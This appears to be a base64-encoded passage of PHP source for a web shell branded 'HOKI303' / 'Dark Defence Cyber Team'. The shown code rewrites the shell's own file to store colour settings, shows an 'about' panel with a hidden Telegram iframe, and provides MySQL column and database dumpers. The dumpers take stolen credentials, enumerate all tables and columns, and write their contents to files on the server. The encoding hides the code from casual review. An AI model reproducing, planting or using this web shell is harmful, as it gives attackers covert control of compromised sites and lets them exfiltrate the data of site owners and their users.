ZSBib3JkZXI9IjEiPjx0Ym9keT4nOwokdGVtcGxhdGUgPSAnPHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBocmVmPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1
sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciIHRhcmdldD0iX2JsYW5rIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+SGVscDwvZm9udD48L2
E+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij57aW5kZXh9PC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyI+e3RhcmdldH06PC9kaXY+P
C90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo2MHB4OyIgbXVsdGk9InttdWx0aX0iIGlkPSJndWlfe3RhcmdldH0iIG9uQ2hhbmdlPSJjb2xvckhhbmRsZXIodGhpcyk7IiB0YXJnZXQ9Ii57dGFyZ2V0fSIgdHlwZT0iY29sb3IiIHZhbHVlPSJ7
Y29sb3J9Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyIgbXVsdGk9InttdWx0aX0iIG9ua2V5dXA9ImNvbG9ySGFuZGxlcktleSh0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiBpZD0iaW5wdXR
fe3RhcmdldH0iIGNsYXNzPSJjb2xvcnNfaW5wdXQiIHBsYWNlaG9sZGVyPSIjZmZmZmZmIiB2YWx1ZT0ie2NvbG9yfSI+PC90ZD48L3RyPic7CiR4ID0gMTsKZm9yZWFjaCgkR0xPQkFMU1snX19IT0tJX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YW
x1ZSl7CgkkbXVsdGkgPSAiIjsKCWlmKGlzX2FycmF5KCR2YWx1ZSkpewoJCWlmKGlzc2V0KCR2YWx1ZVsibXVsdGlfc2VsZWN0b3IiXSkpewoJCQkkbXVsdGkgPSBfX1pXNWpiMlJsY2coanNvbl9lbmNvZGUoJHZhbHVlKSk7CgkJfQoJfQoJJHZhb
HVlID0gaG9raV9nZXRDb2xvcigka2V5KTsKCSRoZWxwID0gc3RydG9sb3dlcihzdHJfcmVwbGFjZShhcnJheSgiOiIsICIrIiksIGFycmF5KCJfIiwgIl9wbHVzIiksICRrZXkpKTsKCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntpbmRleH0iLCAi
e3RhcmdldH0iLCAie2NvbG9yfSIsICJ7bXVsdGl9IiwgIntoZWxwfSIpLCBhcnJheSgkeCsrLCAka2V5LCAkdmFsdWUsICRtdWx0aSwgJGhlbHApLCAkdGVtcGxhdGUpOwp9CmVjaG8gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI
+LTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxkaXYgY2xhc3M9InRibHR4dCI+KjwvZGl2PjwvdGQ+PHRkPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OjVweDsiIGNsYXNzPSJ0Ymx0eHQiPlVzZSBEZWZhdWx0IENvbG9yOjwvZG
l2PjwvdGQ+PHRkPjwvdGQ+PHRkPjxjZW50ZXI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idXNlX2RlZmF1bHRfY29sb3IiIHZhbHVlPSIxIj48L2NlbnRlcj48L3RkPjwvdHI+JzsKCmVjaG8gJzwvdGJvZHk+PC90YWJsZT48cD48aW5wdXQgd
HlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L3A+PC9mb3JtPjxwPjxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4OzttYXJnaW4tcmlnaHQ6MjBweDsiIG9uY2xpY2s9IiQoXCdpbXBvcnRGaWxlQnRuXCcpLmNsaWNrKCk7IiBjbGFz
cz0iYnV0dG9uIj4gSW1wb3J0IDwvYnV0dG9uPiA8YnV0dG9uIHN0eWxlPSJwYWRkaW5nOjRweDttYXJnaW4tbGVmdDoyMHB4OyIgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2V4cG9
ydFwnLFwnY29sb3JcJykiIGNsYXNzPSJidXR0b24iPiBFeHBvcnQgPC9idXR0b24+PC9jZW50ZXI+PC9wPic7CmlmKCRfUE9TVFsnaG9raTcnXT09J2V4cG9ydCcpewoJZWNobyBfX3ByZSgpOwoJJGNvbG9ycyA9IGlzX2FycmF5KCRHTE9CQUxTWy
JEQl9OQU1FIl1bImNvbG9yIl0pPyRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl06YXJyYXkoKTsKCSRnbG9iX2NvbG9ycyA9ICRHTE9CQUxTWyJfX0hPS0lfQ09MT1JfXyJdOwoJJGFycmF5ID0gYXJyYXkoKTsKCWZvcmVhY2goJGdsb2JfY29sb
3JzIGFzICRrID0+ICR2KXsKCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7CgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7CgkJfWVsc2V7CgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/
JHZbImtleV9jb2xvciJdOiR2KTsKCQl9CgkJJGFycmF5WyRrXSA9ICR2OwoJfQoJJGZpbGUgPSAiaG9raV9jb2xvcl9jb25maWdfIi5kYXRlKCdZLW0tZC1oX2lfcycpLiIuY29uZiI7CgkkY29uZmlnID0ganNvbl9lbmNvZGUoJGFycmF5LCBKU09
OX1BSRVRUWV9QUklOVCk7CglpZighQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkY29uZmlnKSl7CgkJZWNobygnPHA+PGNlbnRlcj5Db2xvciBDb25maWc6PGJyPjxicj48dGV4dGFyZWEgcm93cz0iMTIiIGNvbHM9IjcwIiB0eXBlPSJ0ZXh0Ij
4nLiRjb25maWcuJzwvdGV4dGFyZWE+PC9jZW50ZXI+PC9wPicpOwoJfWVsc2V7CgkJZWNobygnPGgzPjxwPjxjZW50ZXI+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzX
CcsbnVsbCxcJycuJGZpbGUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj48Zm9udCBjb2xvcj0iIzBGMCI+RG93bmxvYWQgQ29uZmlnPC9mb250PjwvYT48L2NlbnRlcj48L3A+PC9oMz4nKTsKCX0KfQppZigkX1BPU1RbJ2hva2kyJ109PSc+PicpewoJZWNo
byBfX3ByZSgpOwoJJGNvbG9ycyA9IGpzb25fZGVjb2RlKCRfUE9TVFsiaG9raTEiXSx0cnVlKTsKCSRhcnJheSA9ICIiOwoJJGlzX2RlZmF1bHQgPSBpc3NldCgkX1BPU1RbImhva2kzIl0pJiYkX1BPU1RbImhva2kzIl09PSIxIj90cnVlOmZhbHN
lOwoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fSE9LSV9DT0xPUl9fIl07Cglmb3JlYWNoKCRnbG9iX2NvbG9ycyBhcyAkayA9PiAkdil7CgkJaWYoaXNzZXQoJGNvbG9yc1ska10pJiYhZW1wdHkoJGNvbG9yc1ska10pJiYhJGlzX2RlZmF1bH
QpewoJCQkkdiA9IHRyaW0oJGNvbG9yc1ska10pOwoJCX1lbHNlewoJCQkkdiA9IHRyaW0oaXNfYXJyYXkoJHYpPyR2WyJrZXlfY29sb3IiXTokdik7CgkJfQoJCSRhcnJheSAuPSAnIicudHJpbSgkaykuJyIgPT4gIicuJHYuJyIsJzsKCX0KCUBja
GRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSk7CgkkYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoJJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VuYW1lKTsKCSRjb2xvciA9ICcvXCdjb2xvclwnKC4qPylc
KSwvcyc7CglpZihwcmVnX21hdGNoKCRjb2xvciwkZGF0YSwkZSkpewoJCSRuZXcgPSAiJ2NvbG9yJyA9PiBhcnJheSgiLiRhcnJheS4iKSwiOwoJCSRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7CgkJaWYoQGZpbGVfcHV0X2N
vbnRlbnRzKCRiYXNlbmFtZSwgJGRhdGEpKXsKCQkJZWNobygiPGNlbnRlcj48cD48aDM+WytdIFN1Y2Nlc3MuLi48L2gzPjwvcD48L2NlbnRlcj48c2NyaXB0PmxvY2F0aW9uLnJlbG9hZCgpOzwvc2NyaXB0PiIpOwoJCX1lbHNlewoJCQllY2hvKC
I8Y2VudGVyPjxwPjxoMz5bLV0gV2UgTm90IGhhdmUgcGVybWlzc2lvbiB0byBFZGl0IHNoZWxsLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOwoJCX0KCX1lbHNlewoJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBFcnJvci4uLiE8L2gzPjwvcD48L
2NlbnRlcj4iKTsKCX0KfQp9CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWFib3V0dXMoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj4nOwokbmV3cyA9IG5ldyBIb2tpQ1VSTCgpOwok
YWJvdXRfdXMgPSAkbmV3cy0+U2VuZCgiaHR0cHM6Ly93d3cuZ29vZ2xlLmNvLmlkL3NlYXJjaD9xPW1pc3Rlcmhva2kmc2NhX2Vzdj0yOGU5Y2JhNDc2MTkzZDQyJnN4c3JmPUFETFlXSUsyRDhGLVZ0X3UtOTlxS0RtbXN6enBzUEpIa1ElM0ExNzE
3NDE2MTE1OTMyJnNvdXJjZT1ocCZlaT1zN0JkWnQzWE50aVI0LUVQM29pOS1BNCZpZmxzaWc9QUw5aGJkZ0FBQUFBWmwyLXc5Q3dtM0J3RmN6c1Y4VDd3VDNHOWc1a2RyNjcmb3E9bWlzdGVyJmdzX2xwPUVnZG5kM010ZDJsNklnWnRhWE4wWlhJcU
FnZ0FNZ29RSXhpQUJCZ25HSW9GTWdzUUFCaUFCQml4QXhpREFUSUxFQUFZZ0FRWXNRTVlnd0V5Q3hBQUdJQUVHTEVER0lNQk1nc1FBQmlBQkJpeEF4aURBVElRRUFBWWdBUVlzUU1ZZ3dFWWlnVVlDaklMRUFBWWdBUVlzUU1ZZ3dFeUJSQUFHSUFFT
WdzUUFCaUFCQml4QXhpREFUSUZFQUFZZ0FSSXJDRlFsUWhZekJad0JIZ0FrQUVBbUFHWEFxQUIzUWlxQVFVMExqUXVNYmdCQThnQkFQZ0JBWmdDRGFBQzlRaW9BZ3JDQWdjUUl4Z25HT29Dd2dJRUVDTVlKOElDRUJBQUdJQUVHTEVER0VNWWd3RVlp
Z1hDQWdzUUxoaUFCQml4QXhpREFjSUNDaEFBR0lBRUdFTVlpZ1hDQWc0UUFCaUFCQml4QXhpREFSaUtCY0lDQ0JBQUdJQUVHTEVEd2dJS0VBQVlnQVFZc1FNWUNzSUNEaEF1R0lBRUdNY0JHSTRGR0s4QndnSU5FQUFZZ0FRWXNRTVlnd0VZQ3NJQ0J
4QUFHSUFFR0FxWUF3ZVNCd1U0TGpRdU1hQUg5ejgmc2NsaWVudD1nd3Mtd2l6Iik7CmlmKGVtcHR5KCRhYm91dF91cykpewokYWJvdXRfdXMgPSAiPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ2
8ucG5nJz48YnI+CjxiPjxmb250IHNpemU9JyszJyBjb2xvcj0nIzAwQTIyMCc+JiM5Nzc0OyB+IFBFQUNFIH4gJiM5Nzc0OzwvZm9udD48YnI+PGI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5TaGVsbCBSZWNvZGVkIEJ5IEtpc2UgUnlvdW5pICYgQ
m9jaWwgKEhPS0kzMDMpPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyMwMEEyMjAnPkNvbnRhY3QgOiBraXNlcnlvdW5pQGdtYWlsLmNvbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbTogQGtpc2VyeW91bmk8L2ZvbnQ+
PGJyPgo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SW5kb25lc2lhbiBHdWxmIEZvciBFdmVyPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyNGRjAwMDAnPkRhcmsgRGVmZW5jZSBDeWJlciBUZWFtPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyNGRjAwMDA
nPiMjIyMjIyMjIyMjIzwvZm9udD48YnI+CjwvY2VudGVyPjwvcHJlPjxpZnJhbWUgc3JjPSd0ZzovL3Jlc29sdmU/ZG9tYWluPWtpc2VyeW91bmknIGZyYW1lYm9yZGVyPScwJyB3aWR0aD0nMCcgaGVpZ2h0PScwJz48L2lmcmFtZT4iOwp9CmVjaG
8gX19wcmUoKS4kYWJvdXRfdXM7CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWNvbGR1bXBlcigpewpob2tpaGVhZCgpOwplY2hvKCc8ZGl2IGNsYXNzPSJoZWFkZXIiPicpOwpIb2tpTnVtKDgsOSwxMCk7CmVja
G8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15c3FsIENvbHVtbiBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cInZhciBv
cHRfaWQ9dGhpcy5nZXRBdHRyaWJ1dGUoJ29wdF9pZCcpO3ZhciBkZWxpbWl0ZXI9J2pzb24nO3RyeXtpZigkKCdkdW1wZXItZGVsaW1pdGVyLXR5cGUnKS52YWx1ZSA9PSAnZGVsaW1pdGVyJylkZWxpbWl0ZXI9JCgnZHVtcGVyLWRlbGltaXRlci1
pbnB1dCcpLnZhbHVlfWNhdGNoKGUpe307ZygnY29sZHVtcGVyJyxudWxsLGRlbGltaXRlcixKU09OLnN0cmluZ2lmeShjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbb3B0X2lkXSksdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3
JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdID0ge307cmV0dXJuIGZhbHNlO1wiPjxwPiI7CiRkZWxpbWl0ZXIgPSAoI
WVtcHR5KCRfUE9TVFsnaG9raTEnXSkgPyAkX1BPU1RbJ2hva2kxJ10gOiAnOjonKTsKJHNlbGVjdGVkX2RhdGEgPSBqc29uX2RlY29kZSgkX1BPU1RbJ2hva2kyJ10sIHRydWUpOwokdXNlcm5hbWUgPSAoJF9QT1NUWydob2tpMyddKTsKJHBhc3N3
b3JkID0gKCRfUE9TVFsnaG9raTQnXSk7CiRkYm5hbWUgPSAoJF9QT1NUWydob2tpNSddKTsKJGRmaWxlID0gKCRfUE9TVFsnaG9raTYnXSk7CiRob3N0ID0gKCRfUE9TVFsnaG9raTcnXSk7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSg
nY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfaG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9ob3N0JywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAkaG9zdCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndG
QyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3VzZXJuYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3VzZXJuYW1lJywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAkdXNlcm5hbWUsI
CdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lu
cHV0VmFsdWUnID0+ICRwYXNzd29yZCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCc
gPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJGRibmFtZSwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ091dHB1dCBQYXRoOiAnLCAnaW5wdXROYW1lJy
A9PiAnZGZpbGUnLCAnaW5wdXRWYWx1ZScgPT4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnI
HZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKJGRiID0gZmFsc2U7CmlmKCFlbXB0eSgkZGJuYW1lKSl7CgkkZGIgPSBAbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1l
KTsKfQppZihjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPiAwKXsKCWlmKCRkYil7CgkJaWYoIWlzX2RpcigkZGZpbGUpKXsKCQkJJGRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJCX0KCQkkdGJscyA9ICIiOwoJCSRleHQgPSAnLnR4dCc7CgkJaWYoJGR
lbGltaXRlciA9PSAnanNvbicpewoJCQkkZXh0ID0gJy5qc29uJzsKCQl9CgkJZm9yZWFjaCAoJHNlbGVjdGVkX2RhdGEgYXMgJHRibCA9PiAkY29scykgewoJCQkkdGFibGVzX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCAiLmltcG
xvZGUoJywnLCAkY29scykuIiBGUk9NICR0YmwiKTsKCQkJJGZpbGVfbmFtZSA9ICRkZmlsZS4nLycuJGRibmFtZS4nLicuJHRibC4kZXh0OwoJCQkkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCAidyIpOwoJCQkkZGF0YSA9IGFycmF5KCk7CgkJCXdoa
WxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHRhYmxlc19xdWVyeSwgTVlTUUxJX0FTU09DKSl7CgkJCQlpZigkZGVsaW1pdGVyID09ICJqc29uIil7CgkJCQkJJGNvbF9hcnIgPSBhcnJheSgpOwoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtl
eSA9PiAkdmFsdWUpIHsKCQkJCQkJaWYoZW1wdHkoJHZhbHVlKSl7CgkJCQkJCQkkdmFsdWUgPSAiW2VtcHR5XSI7CgkJCQkJCX0KCQkJCQkJICRjb2xfYXJyWyRrZXldID0gJHZhbHVlOwoJCQkJCX0KCQkJCQkkZGF0YVskdGJsXVtdID0gJGNvbF9
hcnI7CgkJCQl9ZWxzZXsKCQkJCQkkZGF0YSA9ICIiOwoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsdWUpIHsKCQkJCQkJaWYoZW1wdHkoJHZhbHVlKSl7CgkJCQkJCQkkdmFsdWUgPSAiW2VtcHR5XSI7CgkJCQkJCX0KCQkJCQkJJG
RhdGEgLj0gJHZhbHVlIC4gJGRlbGltaXRlcjsKCQkJCQl9CgkJCQkJZndyaXRlKCRmcCwgJGRhdGEgLiJcbiIpOwoJCQkJfQoJCQl9CgkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsKCQkJCWZ3cml0ZSgkZnAsIGpzb25fZW5jb2RlKCRkYXRhK
Sk7CgkJCX0KCQkJZmNsb3NlKCRmcCk7CgkJCSR0YmxzIC49ICJEb25lIH5+fj4gIi4kZmlsZV9uYW1lLiI8YnI+IjsKCQl9CgkJZWNobyBfX3ByZSgpOwoJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9JyMwMEZGMDAnPiIuJHRibHMuIjwvZm9u
dD48L2NlbnRlcj4iOwoJfQp9CmlmKCFlbXB0eSgkZGJuYW1lKSAmJiBjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPT0gMCl7Ci8vZWNobyBfX3ByZSgpOwppZigkZGIpewoJZWNobygiPGhyPjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO21hcmd
pbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGRlcjsnPjxzcGFuPlsgU2VsZWN0IHlvdXIgdGFibGVzIGFuZCBjb2x1bW5zIGZvciBkdW1waW5nIGRhdGEgXTwvc3Bhbj48L2Rpdj4iKTsKCWVjaG8oIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2
VudGVyOyc+PHNwYW4+T3V0cHV0IFR5cGU6IDwvc3Bhbj48c2VsZWN0IGlkPSdkdW1wZXItZGVsaW1pdGVyLXR5cGUnIG9uY2hhbmdlPSdjb2xEdW1wbGVyU2VsZWN0VHlwZSh0aGlzKTsnIG5hbWU9J291dHB1dF90eXBlJz48b3B0aW9uIHZhbHVlP
SdkZWxpbWl0ZXInIHNlbGVjdGVkPmRlbGltaXRlcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2pzb24nPmpzb248L29wdGlvbj48L3NlbGVjdD48ZGl2IGlkPSdjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0JyBzdHlsZT0nZGlzcGxheTppbmxpbmU7
Jz48c3Bhbj4gRGVsaW1pdGVyOiA8L3NwYW4+PGlucHV0IGlkPSdkdW1wZXItZGVsaW1pdGVyLWlucHV0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWxpbWl0ZXInIHBsYWNlaG9sZGVyPSdlZzogLCc+PC9
kaXY+PC9kaXY+Iik7CgkkZGF0YSA9IGFycmF5KCk7CgkkdGFibGVzX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWEgPSBkYX
RhYmFzZSgpOyIpOwoJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkdGFibGVzX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dID0gYXJyYXkoKTsKCQkkdGFibGVfY291bnRfcSA9IG15c3Fsa
V9xdWVyeSgkZGIsICJTRUxFQ1QgY291bnQoKikgRlJPTSBgIi4kcm93Wyd0YWJsZV9uYW1lJ10uImAiKTsKCQkkdGFibGVfY291bnQgPSBteXNxbGlfZmV0Y2hfcm93KCR0YWJsZV9jb3VudF9xKTsKCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1d
WyJkYXRhX2NvdW50Il0gPSAkdGFibGVfY291bnRbMF07CgkJJGNvbHVtbnNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfbmFtZSA
9ICciLiRyb3dbJ3RhYmxlX25hbWUnXS4iJyIpOwoJCXdoaWxlKCRyb3cyID0gbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJJGRhdGFbJHJvd1sidGFibGVfbmFtZSJdXVsiY29scyJdW10gPSAkcm
93MlsiY29sdW1uX25hbWUiXTsKCQl9Cgl9CglteXNxbGlfY2xvc2UoJGRiKTsKCgllY2hvICc8dWwgaWQ9Im15VUwiPic7Cglmb3JlYWNoKCRkYXRhIGFzICR0YmwgPT4gJGNvbHMpewoJICAgIGVjaG8gJzxsaT48c3BhbiBzdHlsZT0iY29sb3I6I
zAwRkYwMDsiIGNsYXNzPSJib3giPicuJHRibC4nICgnLiRjb2xzWyJkYXRhX2NvdW50Il0uJyk8L3NwYW4+PHVsIGNsYXNzPSJuZXN0ZWQiPic7CgkgICAgZm9yZWFjaCgkY29sc1siY29scyJdIGFzICRjb2wpewoJICAgICAgICBlY2hvICc8bGkg
dGJsPSInLiR0YmwuJyI+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEZGMDA7IiB0Ymw9IicuJHRibC4nIiBjbGFzcz0iYm94IHN1Yi1ib3giPicgLiAkY29sIC4gJzwvc3Bhbj48L2xpPic7CgkgICAgfQoJICAgIGVjaG8gJzwvdWw+PC9saT4nOwoJfQo
JZWNobyAnPC91bD4nOwp9ZWxzZXsKZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjdCA6IEVycm9yITwvY2VudGVyPicpOwp9Cn0KZWNobygnPC9kaXY+Jyk7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpRHVtcGVyKCl7Cmhva2loZWFkKC
k7CmVjaG8oJzxkaXYgY2xhc3M9ImhlYWRlciI+Jyk7Ckhva2lOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgRGF0YWJhc2UgRHVtcGVyIHw8L2Rpdj48YnI+PGJyPiIuZ2V0Q
29uZmlnSHRtbCgnYWxsJykuIjxmb3JtIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9XCJnKCdkdW1wZXInLG51bGwsbnVsbCxudWxsLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUs
dGhpcy5kZmlsZS52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+PHA+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2l
ucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJy
A9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+I
CdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9Pgog
YXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAo
gJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEdW1wIFBhdGg6ICcsICdpbnB1dE5hbWUnID0+ICdkZmlsZScsICdpbnB1dFZhbHVlJyA9PiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ2
